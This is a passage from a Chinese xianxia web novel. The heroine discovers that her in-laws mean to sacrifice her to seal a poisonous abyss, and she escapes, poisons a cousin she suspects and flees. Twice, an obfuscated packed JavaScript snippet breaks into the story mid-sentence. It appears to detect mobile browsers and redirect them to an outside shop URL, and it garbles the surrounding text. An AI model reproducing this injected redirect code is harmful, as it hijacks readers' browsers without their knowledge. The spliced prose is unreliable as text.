她正打发冉怀璧去牧场喂灵宠,一位同门匆匆跑来,抓住冉怀璧叫嚷:“小师弟你闯了什么大祸?离恨天派使者来找你,师娘叫我赶紧带你过去。” 离恨天对下辖门派抓大放小,唯有特别严重的事故才会派人过问,通常都会闹出人命。 冉怀璧魂不附体,当下想开溜。 冉彤拦住他宽慰:“你又没做坏事,干嘛怕成这样。我看八成是他们弄错了,去说清楚就好,稀里糊涂逃了更要惹嫌疑。” 她推测堂弟无意中卷入某起事端,离恨天只是来寻线索的,否则秦露华不会叫冉怀璧去见客。 她陪同冉怀璧来到正堂,冉灵犀先出来接着,劈面责备弟弟:“你小子不用功修行,成天跑去市井鬼混,还看凡人的闲书,真把我们的教导当耳旁风。” 冉彤见堂姐气色还算平和,量无大碍,忙问:“大姐姐,离恨天的人为什么找怀璧?” 冉灵犀叹气,睨着冉怀璧说:“他前些天在城里一家书坊买了本紫烟散人的小说,离恨天说那紫烟散人是极危险的魔修,近些年借写书毒害世人。怀璧买的那本书更包藏了很凶恶的信息,流传出去为祸不小。” 冉怀璧的惊讶不减反增:“那书没有大逆不道的内容啊,大姐不信先来看看。” 他取出《云影仙踪记》,立马被大姐收缴。 冉灵犀气弟弟愚钝,语气严厉三分:“你还想连累其他人陪你受过?快去向使者谢罪忏悔,再敢啰嗦,我就让娘关你十年禁闭。” 冉彤暗中替堂弟抱屈,她也看过《云影仙踪记》,内容委实再正常不过,既没触犯凡人的伦理道德,也没违反修真界的正统规则。 想那紫烟散人问世两百多年,以前写过那么多惊世骇俗的艳情读物,从未受离恨天关注,怎会因一本规规矩矩的玄幻小说被打入魔道行伍? 这事涉及的人越少越好,她明智地不掺言,冉怀璧受了大姐责骂也清醒了,没把她供出来。 一行人去到堂上,冉彤认出来客是离恨天常驻烈阳的主事蕉鹿道长。 此人已五百多岁了,修为达到极境初期,在烈阳不遇敌手,为人处事圆滑平和,从不对小辈摆架子,看冉怀璧一副嫌犯进公堂的畏惧神情,便笑着安抚:“小少爷莫怕,老夫只是来问你几句话,你如实回答即可。” 冉怀璧迟疑半拍,立遭母亲呵斥:“孽障,道长同你讲话,怎的装聋作哑!?” 冉怀璧忙哈腰打恭哀告:“前辈在上,晚辈一定老实答话,绝不敢有半句欺瞒。” 蕉鹿和善地拈须点头,简短地提出两个问题。 一、是谁推荐他买《云影仙踪记》的。 二、买书以后可曾给其他人看过。 冉怀璧说:“晚辈常去那家书坊,书是那掌柜推荐给我的。” 为掩护冉彤和乔淡月,他在第二个问题上撒了谎,坚称没向任何人展示书中内容。 蕉鹿未深究,对秦露华说:“老夫看令郎实属无心之过,夫人也不必责罚他了。但按上方的指令,老夫必须清除他这段记忆。” 秦露华不敢提异议,命冉怀璧配合。 冉怀璧照蕉鹿吩咐地回忆小说情节,只觉对方的神识像扫帚一样伸入自身意识,想到哪儿扫到哪儿,转眼清空了全部信息,他连小说名字都不记得了。 完事后蕉鹿即告辞而去,秦露华押着儿子去反省,冉彤没能跟她说上话,转向冉灵犀禀告,听她先开口:“彤儿,凝神珠我帮你拿回来了,往后不管谁问你要都不能给,必须连娘给你的神木牌一起片刻不离地戴在身上。” 她强制下令,冉彤再不警觉真成傻子了,深深质疑起伯母和大姐送她保命发宝的动机,不能再顾忌堂弟,直接问冉灵犀: “大姐姐,我听说你和伯母打伤了林屋羽士,你们是不是担心云家会对我不利?” 她见冉灵犀咬了咬牙,分明按下了已经浮上眉梢的促刺,正吃力保持镇定。 “我和娘都觉得那林屋羽士太刻薄了,怕她是云家派来给你立规矩的,就想反过来借她给云家人竖个榜样,免得你日后受他们磋磨。” 冉彤将信将疑,料定堂姐有事隐瞒,试探:“伯父和二姐姐几时回来?” 冉灵犀说:“爹再过几日一准到家,芳妹说她在任上走不开,恐怕不能回来送你了。” 二堂姐冉芳姿和冉彤很要好,以往每年都会回家为她庆生。 冉彤前阵子写信叮嘱她一定不要缺席自己的婚礼,久久不见回音,如今想来冉芳姿是在故意回避。 二姐姐不回来是怕见到我吗?她也知道这桩婚事有问题…… 冉灵犀也像在躲避冉彤的不安,旋即搪塞着走开了。 与此同时那算命老太婆的话快箭般射进冉彤脑海,命中她的忐忑。 那大难临头的预言仿佛纽扣,而眼前的种种怪事就是与之匹配的扣索,系住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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冉怀璧调侃:“哪有人把成亲说成过关的?你不怕我告诉表哥,就快些贿赂我。” 冉彤相信堂弟不知情,仍是一心向着她的,可惜太弱小,做不了援手。她不想搭上无辜者,坚持装没事人,夕惕朝乾地等待真相。 剩余几天再无异常,一再承诺提前归家的伯父冉松坚直到迎亲当天才出现。 家里虽经过了一番布置,喜庆气氛却没能感染几位当家人,秦露华和冉灵犀花容惨淡,神色同身上的鲜艳盛装违和。 冉松坚跟冉彤见面时笑容牵强,原本口若悬河的人竟接连语塞,秦露华更离谱,冉彤向她道别,她满眼含泪,猛地扭头奔离,任谁都叫不住。 目睹此情,冉彤再无疑惑,今天的婚礼是个巨大的陷阱,她走出家门即是踏上死路。 她藏在红裙里的双腿瑟瑟发抖,背上冒出一片片鸡皮疙瘩,可越想活越要冷静,默默等待逃生机会。 等她拜别列祖列宗的牌位,道晖捧出个小宝匣,说要交还她一样东西。 “这是!” 看到盒子里电光缭绕的金色丹丸,冉彤因那熟悉的气息浑身战栗。 母亲的内丹! 天巫族人另一神异体质是直系亲属间能通过吸纳对方的内丹继承其修炼的天罡真雷功力。柳飞绵就是继承了祖辈遗留下来的丹力,从而迅速提升修为。 当年云家人声称她死后没保留内丹,原来在撒谎。 道晖温和地吩咐冉彤:“冉彤,你母亲想必很希望陪女儿出嫁,你快来吸收了她的内丹吧。” 冉彤认定她居心不良,犯难道:“晚辈修为低微,承接不住家母的丹力,若勉强为之,恐出意外耽误婚礼。” “你只管接住,有我们护持,能出什么事?” 道晖不有分说祭起内丹,施法强行将其植入冉彤的丹田。 冉彤肚子里像被塞进一个滚烫的熔炉,两肋如烧,六腑欲焚,身体蒸热,顷刻大汗如雨,急忙运功压制。 冉松坚和冉灵犀紧急出帮她疏散丹力,道晖和青三嫂子也如言相助。 集四位化境修士之力,冉彤勉强守住精、炁、神,持续一刻钟后坎中一团灵气上冲心主,以意顺下穿尾闾,过黄道,经玉枕,上泥丸,游九宫,自上腭而下。忽然鼻闻芳香,舌涌甘泉,头上红光氤氲,眼中精光电掣,而后返神于心,气沉入穴,那内丹总算在丹田里扎根,让她凭空暴增数倍修为,但依然很不稳定,还须炼化几十年,方能完全化为己用。 冉彤摇摇欲倒,冉灵犀上前扶住她,念净尘诀为她清洁身体衣物,想说什么,最终只动了动嘴唇。 道晖仅让冉彤休息了一小会儿便催促出发,上花轿前还要检查她的随身物品。 冉彤明着携带了神木牌和凝魂珠,这两样法宝冉家事先跟云家交涉过,道晖不敢造次,青三嫂子却没放过那盒清莹李。 “你今天不能乱吃东西,这果子就不用带了。” 冉彤忙说:“我这会儿难受得紧,正要用它补充灵力,您就让我带着吧。” 青三嫂子不肯通融,执意不许她带。 冉彤十分忧急,失去这三颗摄魂珠她就只能坐以待毙了。 7.献祭 沉默多时的冉灵犀猝然闪至青三嫂子身后,狠狠拽住她的右臂。 青三嫂子只觉得万千细针钻透血肉骨髓,认得是冉灵犀最拿手的金蝎钻心术,忙惨叫着躲到道晖身边,捂住全无知觉的伤臂詈责:“冉大小姐,你又想挑起事端吗?” 说完顿住,必是醒悟到“又”字用得不妥。 众人皆惊,冉松坚急声喝止女儿。 冉灵犀充耳不闻,明丽的脸庞浮现铁青色的煞气,黑白分明的双眼转为赤红,张口亮出锋刃:“人都给你们了,想吃个果子都不行吗?” 道晖见识过她的手段,不愿再触霉头,出言逼迫冉松坚:“冉门主,你身份尊贵,就不怕别人说你教女无方?” 冉松坚也怕节外生枝,斥责冉灵犀:“孽障休得放肆,还不退下!” 他摆出家长姿态施压,更加触怒女儿。 冉灵犀额头鼓起青筋,释放出猛烈的罡气,卷起阵阵刀片似的狂风,院内草木倒伏,大树断折,瓦坠如雨,地面龟裂,若有凡人在场,指定丧命。 冉彤从没见大堂姐这般失态失控,内心矛盾重重,既希望她能保护自己,又怕她受牵连,云家人多势众,大姐姐双拳难敌十手啊。 冉松坚不得已放出灵力威压遏制冉灵犀的罡气,焦急劝告:“灵犀,你是冉家的长女,更该识大体。真要在这大喜的日子惹祸吗?” 冉灵犀表情僵了一瞬,含着恨意惨笑:“大喜的日子?爹,您可真会说话啊!” 张扬的怨愤犹如势不可挡的拳头结结实实击中冉松坚心坎。 冉彤见伯父的脸仿佛撕碎的包袱泄漏满面愧痛,真想趁势质问他为什么要让自己去送死。 上空倏地闪现数条身影,冉家人抬头查看,见来的都是云家化境以上的高手,为首的云家大长老云连峰已达极境初期修为,此前冉灵犀母子打伤林屋,正是他出面调停的。 冉彤的心又凉了一大截,这老鬼做押运,她休想半路脱逃。 冉松坚情知云连峰等人是来镇场的,忙恭敬接待。 云连峰客气质问:“老夫是专程来接新娘子的,可瞧这气氛不对,还请冉门主说道说道。” 冉松坚顶不住威胁,窘迫赔罪:“小女灵犀与彤儿感情深厚,舍不得妹妹受委屈,适才任性冲撞了贵府这位大嫂。回头鄙人定会严加责罚,还望诸位体恤小辈,多多海涵。” 他肯服软,云连峰便没必要翻脸,笑道:“门主言重了,令爱毕竟是女儿家,免不了感情用事,别闹得太出格就好。” 冉彤情知合冉家之力都难抵御这老头子,忙扯住冉灵犀的袖子劝说:“大姐姐,你别……” 冉灵犀截断她的话音,无畏地指责云连峰:“大长老,我表妹只想带几个果子在路上充饥,却被这青三嫂子百般阻挠。这是 她在娘家吃的最后一口饭了,你们还要禁止,于心何忍?!” “住口!” 冉松坚还欲责骂,云连峰摆手拦住,笑眯眯走过来瞅了瞅那盒清莹李,问冉彤:“这个季节不该有清莹李,三小姐从哪儿得来的?” 这会儿岂能说实话? 冉彤谎称是赛神节那天在街市上买到的。 每逢赛神节都有四方修士前来兜售资材,有钱什么都可能买到。 她不担心云连峰质疑说辞,就怕他检查果子,自己那点微末法术绝难逃过极境修士的神识探查。 云连峰不知是大意,还是没细致检查,调头对道晖等人说:“不过几个果子,就让她带着吧,我会跟老家主解释的。” 又笑对冉灵犀:“大小姐这会该满意了?” 冉灵犀冷脸不睬,转身面向冉彤,冷山消融化作两眶难舍的热泪,伸出双臂用力抱了抱她。 冉彤的耳垂被她热辣辣的气息烫到了,内心五味杂陈,妆容立刻被两行泪水冲花了。正想伸手回应,冉灵犀已松开她,迅疾飞遁而去。 名为孤独恐惧的怪兽张开巨口罩住冉彤,她多想冉灵犀再跟她说一句话,可又明白强行挽留无能为力的人也很残忍。局势如此凶险,最后一点希望只在伯父身上。 当云家人催她上轿,她走到冉松坚跟前盈盈拜倒,仰头用目光抓住他闪躲的眼神,恳切道:“伯父,彤儿不幸幼年孤苦,这些年蒙您养育,恩德重如山海,相信爹爹泉下有知也会感激您的。今朝一别,不知何时再见,请您务必珍重,勿以彤儿为念。” 她希图借兄弟骨肉之情撼动对方的良知。 可是冉松坚看得最透彻,深知悲剧无解,听了侄女这些是是而非的感恩之言,真觉无地自容。只得麻木地挥了挥手,侧身叹气:“知道啦,你快去吧。” 侥幸落空,冉彤难免悲愤,顿时理解伯母为何会对伯父生怨。不能庇护亲人是修真者莫大的耻辱,换成父亲在世,绝不会坐视侄子侄女们受宰割。 命运在此落笔,由不得人力更改,接下来的空白只能靠她亲身书写。 她姿态平静地登上花轿,冉怀璧突然跑来扯住衣袍。 “彤儿姐姐,你要早点回来!” 堂弟惊恐万状,声音直哆嗦,旁观过刚才的冲突,他也觉察到隐藏在喜事背后的不祥征兆,害怕堂姐出差池。 冉彤冻伤的心丝丝回暖,思绪也因这份温情越发驳杂,抚着堂弟的脸点了点头,毅然钻进轿门。 冉怀璧的抽泣声从门缝里钻进来,冉彤心里竟无波澜,觉得自家的心肠其实也很硬,经历着急转直下的打击还能强忍着不崩溃。 四匹踏空兽拖拽花轿升空,风驰电掣地远离烈阳城。冉彤想掀开车窗观望,车门都被法力封死了,形同移动棺材,载着她驶向不知名的危险。 她使尽浑身解数也没能撬动禁制,不久耗光镇定,惧意愤恨似油锅渐沸,七窍喷出狂躁的火星。 “干嘛把我关起来?快放我出去!” 她摘掉发冠,脱下笨重的大衫,奋力踢打四壁,明知不会有回应,仍停不下来。 好后悔,当时真该听那算命老婆子的话早些逃走。还有云姑,多半叫她说准了,我死之后表哥就会移情别恋,娶乔师妹为妻! 这时她对云宿雨的恨最多,明知云家意图险恶还瞒着,任由她自投罗网,他也是帮凶之一! 仿佛前十八年该有的背叛累积到一次性爆发,雪崩似的伤害全砸在她这棵幼弱的小树苗上,任何挣扎似乎都是徒劳。 禁锢没持续多久,花轿降落静止,轿厢自动解体,成片火光照得她视野模糊,用神识感知到她正身处一座幽深宽广的玄武岩洞穴内,四周围满了云家的高阶修士。 道晖就在跟前,见她蓬头散发,泪人一般,怜悯道:“你这孩子太聪明了,要是糊涂点也能少遭些罪。” 窗户纸已捅破了,冉彤怨愤质问:“这里是什么地方?你们究竟想怎样?” 身体当即为怪力束缚,双脚离地飘向前方,穿过火把灯丛,扑向洞穴最深处。 那里弥漫着浓烈的阴邪之气,比她见过最凶猛的妖兽和厉鬼更强烈亿万倍,等身体停顿,脚下是深不见底的黑暗渊薮,神识够不着底部,但能确认那里隐藏着不可估量的邪恶力量,稍稍一瞥就叫她魂灵震颤。 “都准备好了吗?” 深渊边传来人声,说话的是云家老家主,云宿雨的曾祖父云天阔,一同出现的还有他的夫人文罗元君。 这对夫妻年愈五百岁,都修到了极境初期,执掌云家三百年,早已看透世事。从前对冉彤温柔慈爱,一口一个“乖乖”、“宝贝儿”的叫,眼下不管她如何哭喊哀嚎都淡然处之。 冉彤怕他们当场下毒手,努力拖延,向文罗央告:“祖奶奶,彤儿做错了什么,为何受此荼毒?你们硬要彤儿的命也不该让我做糊涂鬼呀!” 文罗闭眼叹息:“是该跟你说清楚的,此处是昌宁以西三十里的山地。你看看身下的黑洞,该察觉深处潜伏着无穷的阴邪之气。这地洞名唤残秽之渊,形成于一千年前,相传洞底连通魔界,每隔一个甲子就会喷出剧毒的瘴气,一切生灵触之即死……” 千年来不计其数的人被这残秽之渊外溢的瘴气毒害,云家担负守土重担,想尽办法防堵,后来发现天罡真雷是这瘴气的克星。 只有天巫族人拥有此种神力,且单靠做法释放的真雷还达不到封印效果,须将施术者体内的五行之炁激发至极限,使其虎走精失,龙奔气散,丹力尽数爆发,那一刻释放的天罡真雷抵得过自然界百场雷暴,可分解压制瘴气,令残秽之渊冻结数十年。 相应的,施术者的肉身魂体也绝难承受这样大的破坏力,会在释放真雷的瞬间亡身散魂。 疑窦解开,冉彤像同时挨了两记窝心脚,战栗着怒吼:“我娘是被你们害死的!” 事情清清楚楚摆在眼前,她目前所在的位置才是母亲当年的葬身地,而她也即将沦为献祭的牺牲品。 云天阔叹气埋怨文罗:“早叫你别跟她说这么多,平添怨恨,对谁都不好。” 文罗背不动良心债,继续辩解:“我们承 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14105516|149507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诺让云家十位长老各自消耗百年功力为你爹修复残魂,你娘是为了救你爹自愿牺牲的。怪你运气不好,才短短八年这深渊又有喷发迹象,若按正常规律,你还能跟宿雨做十几年恩爱夫妻。” 此刻冉彤不吝用最卑鄙的设想揣测他们,嘶声咆哮:“少骗人了,我爹的死一定与你们有关,你们这群口蜜腹剑的恶人,我做鬼都不原谅你们!” 想到自己连做鬼的机会都没有,悲痛抢先咬碎她的心,挣扎着错乱狂叫:“表哥在哪里,我要见他!” 她不指望云宿雨救他,但必须让他亲口回答,为何如此残忍地对待她。 云天阔想让她早点解脱,下令开启献祭仪式。 云连峰、道晖还有另外四名化境修士飞身围住冉彤,向她倾注灵力,引动她体内尚不稳定的内丹。 千千战鼓,万万雷声洞穿冉彤的意识,俄尔遍体火热,上下通红,四肢百骸如刀砍斧凿,寸寸欲裂。 他们临时将娘的内丹植入我体内,就为了方便引爆丹力。 冉彤拼命运功抑制丹田内的躁动,想到八年前母亲也遭受过这种非人折磨不止身体,心灵一并剧痛难当。 云天阔见她撑得比预计得久,诧异:“这孩子功力尚浅,按说会立即爆体才对。” 道晖禀告:“她来时吃了很多清莹李,又带着秦露华的神木牌。” 冉彤听说他们要背弃与冉家的约定,搜走神木牌,更恨这伙人狠毒太甚,抛开情义叫嚷:“我已同表哥缔结‘生随死殉契’,我死了,他也活不成!” 她以为云宿雨同样虚情假意,严重质疑那个道契的真假,为活命才搬出来恐吓云家人。 碎身的法力登时退去,云连峰等人齐刷刷收手,惊讶地望向云天阔,看样子都信了冉彤的话。 云天阔和文罗也相信云宿雨做得出这种事,文罗烦恼:“我就料到这小子会干傻事,跟他爹一个德行。” 云天阔不能让继承人陪葬,吩咐暂停仪式,命人唤云宿雨来解除道契,又将冉彤放回地面,量她无力反抗,稍微解除一点束缚,由得她舒展筋骨。 冉彤情知这是仅剩的机会了,来时她依靠神木牌的力量,暂将三颗摄魂珠藏入识海,趁周围人松懈取出一颗,照算命老太婆教授的就地一扔。 绿珠炸裂,洞穴内响起彻天彻地的嗡鸣声,百万只赤红色的摄魂虫如火云疯涌,骤然漫卷每个角落,扑灭灯火,搅动旋风,饥狂追咬除冉彤以外的人们。 这虫子专吃生魂,人被叮上一口便丧失行动力,化境以上的修士还可勉强招架,其余的随咬随倒。 云天阔等修为高深的张开遁光防护,争先过来擒拿冉彤。 冉彤不敢迟疑,再投出一颗摄魂珠。 这高级法宝一颗都罕见,谁能想到她竟藏了两颗,双倍威力下,所有人都被困住了,眼睁睁看祭品挣脱束缚,驾风出逃。 冉彤惊鸟般飞出洞穴,一些摄魂虫已抵达洞外,放倒部分守卫,仍有众多没中招的云家人赶来抓捕她。 她正叫苦,一头闪着白光的大鸟自右侧山峰俯冲下来。 这只鸟体型硕大,翼展足有三丈,力大迅猛,撞翻几名围困冉彤的修士,两爪钳住她的双肩,拎着她振翅直冲霄汉。 冉彤感觉此鸟并非活物,身上携带云宿雨的气息,是他操控的傀儡。 表哥来救我了,他没有背叛我! 她泪洒风中,蚀心的怨恨稍微减退,翻身骑上鸟背,任它驮着突出重围。 大鸟朝南飞去,远处陡然升起一层蓝色的灵力屏障,威压顿如剑戟林立,云家人启动了护山大阵,阻断逃路。 生机稍纵即逝,冉彤宁愿粉身碎骨也不肯把这条命交给仇人,催动大鸟笔直撞向屏障。 迎面扑来一阵异常森寒的灵力,她的鬓发眉毛瞬间挂霜,忙运功抵御。前方法阵像被砸中的玻璃出现冰裂,在与她近在咫尺的距离时碎出个十丈见方的大窟窿。 傀儡鸟轻盈穿过破洞,追风逐电地飞入云端。 冉彤趴在鸟背上喘息数息,俯头唯见云雾苍茫,那死亡的魔窟已被抛在数十里外了。 以云宿雨的修为尚不足以破坏云家的护山大阵,方才救她的另有其人。 她想不出是谁,但有这样厉害的高人护持,心中多少有了些安全感,又发现大鸟正沿着某种既定路线飞行,推测云宿雨制定了营救计划。 他不惜与家族对抗也要救我,可见情真,如今我只能走一步看一步,且随他安排吧。 8.失落的古城 大鸟掠过群山莽原,不停飞行。 冉彤数度想停下,没找到合适的落脚点。 云家人正紧锣密鼓地抓捕她,现下孤立无援还是尽量少冒险。 后来她判定此行正朝着枫林州南部边陲进发,猜到鸟儿要送她去见谁。 日暮时分,他们距离昌宁已有三千多里,大鸟耗尽灵力,迅速降落、缩小,变成比拳头还小的纸偶,倏尔自燃,凌空烧出五个火字。 “去找二表姐” 冉彤所料不错,云宿雨想让她去投靠戍守边境的二堂姐冉芳姿。 表哥想必已与二姐姐商量好了如何救我,他会在嵬州等我吗? 冉彤惴惴地继续南飞,不久一座小小的山城遥遥在望。 那是枫林州最南边的关防重镇“嵬州”,再往南是荒无人烟的大森林,居住着众多妖鬼,还藏匿了不少魔道修士,时常出没滋扰附近人族。 为此各派挑选精兵强将组成驱魔司驻扎边境,防范邪魔鬼怪作乱。 冉家二小姐冉芳姿十年前应征入职,被派驻嵬州,前年冉彤曾来探望,知道她的住处。 嵬州有很多高阶修士,还是化妆成凡人最稳妥。 冉彤在城外村庄偷取一件农家晾晒的外衫披在身上遮挡嫁衣,步行潜入城门。 刚入城便被苦候多时的冉芳姿抓住,姐妹相见,紧张程度不相上下。 “二姐姐是来接我的?” “嗯,快跟我来。” 冉芳姿拽着冉彤飞奔,只走人少的穷街小巷,绕过修士活跃的区域,来到城东边的住所。 “我很少同人打交道,一般不会有客上门,你先在这儿歇会儿。” 冉彤死里逃生,好容易见着亲人,进门便抱住冉芳姿哇哇大哭,急于倾诉委屈。 冉芳姿跟着落泪,柔声拍哄:“表弟都告诉我了,彤儿,你受苦了。” 冉彤哭得接不上气,千头万绪不知从何分说,先问,:“二姐姐,你事先知道云家要害我吗?” 冉芳姿忙摇头:“我今早收到表弟来信,他说云家要拿你献祭去堵什么恶瘴,他会设法营救,让我在此接应,然后趁夜送你出境。” 冉彤再凭直觉发问:“那你为什么不回家参加我的婚礼?” “最近常有妖物偷袭附近村落,我隔三差五去收妖捉怪,着实走不开啊。也亏得我没回去,否则这会儿叫你找谁去?” 冉芳姿语速明显减慢,态度很谨慎,随后抢话似的吩咐:“我马上去安排一下,你待在这儿别动,等我回来。” 说完火急火燎出门,驾遁光飞走了。 冉彤的心仍提在嗓子眼,她是吃一堑长一智的人,刚上过大当,猜疑的种子已在胸中生根发芽,忽然不确信二堂姐是否和表哥一样可靠。 身心疲惫不堪,但静不下来,她在屋里转来转去,做了一回没头苍蝇后醒悟该就地搜寻线索,来破解疑虑。 忙翻箱倒柜查看冉芳姿的物品,找到她的收妖袋。 上次来玩时,她听冉芳姿提过一些嵬州驱魔司的规矩。 他们会向供职的修士发放统一的收妖袋,关押各自活捉的妖鬼,留下中意的做战利品,在每年赛神节前将余下的上交驱魔司。 冉彤见二堂姐的收妖袋没贴镇符,里面空无一物,说明她这大半年都赋闲,就是拿公务做借口,故意不回烈阳。 二姐姐骗了我,她跟家里人都知道云家的秘密,之前忍心送我去献祭,现在也必然不会真心保护我。 冉彤愤恨地重重关闭柜子,惊起众多扬尘,在金灿灿的夕辉里茫然乱转。 片刻后红日西坠,拖走室内最后一缕光线,灰尘纷纷谢幕,不肯再陪她复杂的情绪共舞。 黑暗厚被般铺过来,危险匍匐其中,想用这虚假的安宁麻痹她,而后猝不及防亮出獠牙。 冉彤心底探出自卫用的长矛,未被狠毒污染过的明净双眸初露凶光。 我不能再任人鱼肉了,今后凡事皆须先发制人。 月亮刚爬上枝头,冉芳姿便匆匆返回了,说:“我已筹备妥当了,后半夜咱们先出城,往南三百里的落雁山上有座荒废多年的洞府,位置隐蔽,无人问津,你先去那里避避风头再说。” 冉彤温顺地道谢答应,端起茶水递给她。 “二姐姐辛苦了,喝杯茶解解渴。” 冉芳姿看了看杯子里淡绿色的茶汤,笑微微道“这芷兰香片是朋友送我的,我藏着舍不得喝,竟被你这丫头搜出来了。” 冉彤笑道:“我知道二姐姐最大方,有好东西定会跟我分享,看见好茶叶便随手拿来喝了。这茶味道真好,比三十年一摘的‘玉芝髓’更爽口。” 冉芳姿端详着茶水,若有所思道:“是呀,这么好的茶,一滴都不能浪费呢。” 之后一口气喝光,长长舒气,看上去真轻松不少。 冉彤心弦若紧若松,扭头不再看她,到一旁的椅子上坐下。 冉芳姿坐到她斜对面的春凳上,将空杯子搁在身旁,说:“时候还早,你多休息一会儿吧。” 冉彤装不了乖巧了,肉眼可见地冷淡下去,问:“二姐姐,你还记得我爹娘吗?” “当然,彤儿想叔叔婶婶了?” “这种时候怎么可能不想呢?我记得娘在世时最喜欢二姐姐了,常跟我说你从小生得美,心地又纯善,走哪儿都受待见。她疼你像亲女儿,陪你四处去历练,得到好资材也先送给你用,有人欺负你,她第一个出面教训。怀孕时还许愿我以后能同你一般美丽善良。” 冉芳姿听得黯然含泪:“婶婶是这世上最好的女子,我也很想念她。” 冉彤偷偷攥紧拳头,顶住苦涩质问:“你知道她是怎么死的吗?” 冉芳姿已觉出异样,无言地望过来,当冉彤的目光触及她时,觉得二姐姐腮边的泪水烫如蜡油。 “是云家杀了她,我爹也很可能是他们害死的。今天我被他们带到当年的行凶现场,差点被他们用当年虐杀我娘的手段残害。这才知道我娘死的时候有多痛苦多冤屈!” “……彤儿。” 冉芳姿慌促地唤她一声,突然腹痛如绞,难耐地呻吟跪倒,连茶杯一块儿扫落摔碎。 冉彤跳起来发难:“二姐姐,你刚才是去向云家报信吧?你和伯父他们早知道我爹娘的死因,也早知道云家会拿我献祭。这八年你们装作疼爱我,实则把我当牲口喂养,如今还要背着表哥出卖我!” 她在茶水里下了毒,药性发作,冉芳姿奈何不得她了。 冉芳姿痛到咬破舌尖,知道自己中了什么毒,也知道毒药就来自她的储藏柜,是从千年鸡冠蛇的头冠中提取的,以她的修为,中毒后保命不难,但至少得瘫痪好几个月。 她不怪冉彤狠辣,满怀歉疚地解释:“彤儿,是我们对不起你。但你也该明白那残秽之渊的危害,不及时封印,等渊底的瘴气外泄,不止昌宁,整个枫林州都将生灵涂炭。换做谁都会用最小的牺牲拯救其他人。娘和大姐明知你会魂飞魄散,还给你神木牌和凝魂珠,就是舍不得你呀。” 冉彤最不能接受这点,厉声否定:“灾害又不是我们一家三口造成的,凭什么让我们牺牲?我爹娘一生正直,从没伤害过任何人,我也是,好人不是应该有好报吗?为什么要这样!?” “……这都是命啊,谁让你和婶婶是天巫族的后裔?如果可以,家里人都愿意代替你们,可是谁又能违抗天命?” 冉彤打小有主见,不会人云亦云,对众所公认的理念也坚持独立思考判断后再决定是否认同。 冉芳姿口中大道理早被她一一否定过了,只起到火上浇油的作用。 “不,这不是天命!只怪云家无能,还有离恨天,他们统领修真界,怎不出来承担责任?!一群道貌岸然的伪君子,就会迫害别人来保全自身,他们不配修仙!” 冉芳姿虚弱摇头:“彤儿,你逃不掉的,云家已将表哥软禁起来,他们还通知枫林州所有修真门派,说你勾结魔道,让他们协助捉拿你。我不把你供出去,冉家就会遭殃,你忍心看怀璧和其他门人因你受难吗?” 冉彤拒绝心软,放任仇恨不甘封闭善念,咬牙噙泪,斩钉截铁道:“我已与你们恩断义绝,你们不管我和爹娘的死活,我也不会管你们!人人都想我死,我偏要替爹娘好好活下去,活得比你们所有人更好更久!” 冉芳姿痛苦的表情里竟挤出强烈的喜色,极度虚弱下大笑道:“好好,彤儿你有这份决心二姐姐便放心了。” 她颤巍巍摘下腰间的储物袋递出。 “这里面有几件法宝,你配合神木牌尚可运用,还有一些丹药,留着路上防身,云家人就快来了,你快逃吧。” 冉彤惊诧,检查袋子没被动手脚,狐疑:“二姐姐为何改主意了?” 冉芳姿苦笑:“傻孩子,那蛇毒是我亲手炼制的,怎会被你瞒过?” 冉彤难以置信:“你知道茶水有毒?” 她的防线险些叫震惊冲垮,赶紧跪地搀扶冉芳姿。 冉芳姿使劲推开她:“刚夸你一句你又麻痹大意,既然认定是敌人就不能心软,唯有这般方能保命!” 冉彤终于相信二姐姐的好意,感愧得泪如泉涌。 “二姐姐,谢谢你肯救我。” 冉芳姿预感相见无期,心痛远超□□的痛楚,凄苦道:“不,我之前真想把你交给云家,是你救了你自己。彤儿,你跟我们不一样,思想还没被成规戒律束缚,仍是自由的,但愿你今后能让冉云两家摆脱这命定的苦难。还有……表弟也是直到最近才知晓真相,他本想靠道契保护你,事到临头发现办不到。你和他大概有缘无分了,但念在他一片痴心,尽量别去怨恨……” 再耽搁一切付出都白费,她推搡冉彤,催促快走。 冉彤心乱如麻,声泪俱下,最后握了握二姐姐的手,接过储物袋奔入夜幕。 她逃出嵬州城便撞见追兵,除南面的森林,其余方向都是云家的地盘,如今生路藏在最危险的地方,她不管不顾地往林海深处钻,边躲边逃,在无间断的围追堵截中挺过两天。 两日之中死亡如同疯狗猖狂追咬。 云家来势汹汹,各派也出动了大批高手,她交战过的修士最低都有净境修为,化境的也不在少数,放以前早像群狮博兔,将她打残活捉了。 多亏强大的神木牌,还有凝魂珠和冉芳姿给的法宝、丹药,再加上自身的聪明和由求生意志激发出的潜能,冉彤奇迹般地一次次闯过生死线,直逃到千里外的无名深山。 千年来枫林州南境外的区域都被划定为禁区,据说盘踞着法力通天的妖魔,误入者绝无生还可能。 冉彤逃亡途中遇到过动物和妖兽,再往前便看不到草木之外的生灵了,林间还频繁升起能削弱神识的浓雾,人到了这儿很难不迷路。 在嵬州一带稀少的枫林绵延成片地出现,白天望去云蒸霞蔚,入夜宛如红云成阵。 来到一处山谷,她遭遇一名老修士,此人已是化境中期,使得一件威力惊人的锤型法宝,接连击碎她抛出的暗影穿梭针和火云环,眼看要砸中她。 千钧一刻,前日那破坏云家护山大阵的森寒灵气如铁骑突出,将那修士连人带锤牢牢封冻,修士只剩半个头尚有知觉,惊恐吼叫:“妖女,你还有同伙!?” 